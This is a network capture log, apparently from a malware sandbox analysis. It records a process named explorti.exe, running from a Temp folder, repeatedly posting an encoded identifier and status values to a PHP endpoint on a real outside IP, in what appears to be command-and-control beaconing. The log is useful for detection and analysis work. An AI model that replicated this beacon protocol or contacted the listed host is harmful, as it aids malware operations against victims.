Jul 26, 2024 13:50:03.462826014 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:03.762732983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	59136	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:03.885647058 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:04.647484064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	59137	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:04.656524897 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:05.414283037 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	59138	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:05.534004927 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:06.318578005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	59139	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:06.333324909 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:07.100128889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	59140	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:07.212065935 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:08.999587059 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:50:09.000607967 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:50:09.001090050 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:50:09.002378941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	59141	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:09.237159014 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:10.001580000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	59142	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:10.135267019 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:10.913058043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	59144	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:10.921730042 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:12.409974098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 13:50:12.410037994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 13:50:12.410059929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	59145	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:12.529145956 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:13.306924105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	59148	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:13.319510937 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:14.087368011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	59149	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:14.219932079 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:14.972678900 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:50:14.980894089 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:15.230585098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	59150	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:15.361346006 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:16.119081020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	59151	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:16.127388954 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:16.916229963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	59154	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:17.048010111 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:17.817682981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	59164	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:17.827971935 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:18.598208904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	59170	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:18.713057041 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:19.476111889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	59172	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:19.492722034 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:20.254906893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	59174	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:20.384673119 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:21.155534983 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	59175	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:21.165047884 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:22.039042950 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	59176	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:22.158400059 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
